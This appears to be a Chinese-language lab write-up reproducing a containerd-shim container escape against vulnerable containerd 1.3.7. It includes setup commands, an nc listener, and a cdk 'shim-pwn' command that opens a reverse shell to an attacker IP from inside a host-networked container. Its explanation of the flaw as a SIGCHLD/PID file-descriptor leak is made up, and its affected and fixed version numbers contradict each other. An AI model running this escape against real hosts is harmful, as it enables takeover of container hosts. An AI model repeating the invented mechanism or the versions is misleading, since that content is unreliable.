影响版本

containerd <1.3.9 或 <1.4.3

漏洞原理

containerd 是 Docker 等容器平台的核心运行时组件,其架构中包含containerd-shim进程,负责中间层管理(如进程监控、信号转发、IO 重定向等),隔离 containerd 主进程与容器进程。containerd<->containerd-shim<->runc

image

攻击者可通过恶意容器构造特殊进程,利用 containerd-shim 进程的文件描述符(FD)管理缺陷,获取宿主机的敏感文件描述符,最终实现容器逃逸并访问宿主机资源。

shim 在处理子进程退出信号(SIGCHLD)时,未正确验证进程 PID 的归属,导致攻击者可伪造 PID 欺骗 shim,获取本应属于宿主机的文件描述符。

  • shim 的进程管理逻辑: 当容器内进程退出时,内核会发送 SIGCHLD 信号给 shim,shim 通过waitpid()系统调用回收进程资源。此时,shim 会将该进程关联的文件描述符(如标准输入 / 输出的 FD)关闭。
  • PID 验证缺陷: 正常情况下,shim 应只处理容器内的进程(即属于容器 PID 命名空间的进程)。但漏洞版本中,shim 未验证waitpid()返回的 PID 是否属于容器内的进程,而是直接处理所有 SIGCHLD 信号触发的进程回收,导致了漏洞的产生。

攻击者在容器内创建恶意进程,同时在宿主机侧构造同名 PID 的进程(通过命名空间逃逸或 PID 复用)。当宿主机侧进程退出时,shim 会错误地将其 FD 传递给容器内的恶意进程,导致容器内进程可访问宿主机的 FD(如宿主机的文件、设备等)。

环境搭建

1
2
3
4
5
6
7
8
9
10
#卸载
sudo yum remove -y docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine \
containerd.io
1
2
3
4
5
6
7
8
9
10
# 安装 containerd 1.3.7(漏洞版本)
sudo yum install -y containerd.io-1.3.7-3.1.el7

# 安装 Docker 19.03.8(与 containerd 1.3.7 兼容)
sudo yum install -y docker-ce-19.03.8 docker-ce-cli-19.03.8

containerd --version
docker --version
systemctl start docker.service
systemctl enable docker.service

image

1
2
3
docker run --name  nginx-test --net=host -p 8080:80 -d nginx
docker exec -it nginx-test /bin/bash
cat /proc/net/unix|grep -a "containerd-shim"

image

root 容器: 获取宿主机 FD 后,可直接读写宿主机的敏感文件(如修改/etc/sudoers)或挂载设备,实现完整逃逸。

–net=host : 启动会暴露containerd-shim 监听的 Unix 域套接字,攻击者若能访问 containerd-shim 的 Unix 域套接字,可能:

  • 发送伪造的进程退出信号,辅助触发 shim 的wait4()逻辑;
  • 通过套接字获取容器进程与 shim 的通信信息,更容易猜测或伪造 PID;
  • 直接与 shim 交互,操纵其对 FD 的管理逻辑,加速文件描述符泄露。

漏洞复现

cdk 用旧版本的

此漏洞利用会导致 Docker/containerd 出现一些问题。其中会残留一个悬挂的 containerd-shim 和 Docker 容器,需要docker rm --force分别将其终止和 d 以进行清理。

1
2
3
4
5
#把工具放到容器里
docker cp cdk nginx-test:/tmp

#kali监听
nc -lvvp 6666

image

1
2
3
docker exec -it  nginx-test /bin/bash
cd /tmp
./cdk run shim-pwn 192.168.247.129 6666

image

image

修复方式

升级 containerd 至 1.3.10+ 或 1.4.4+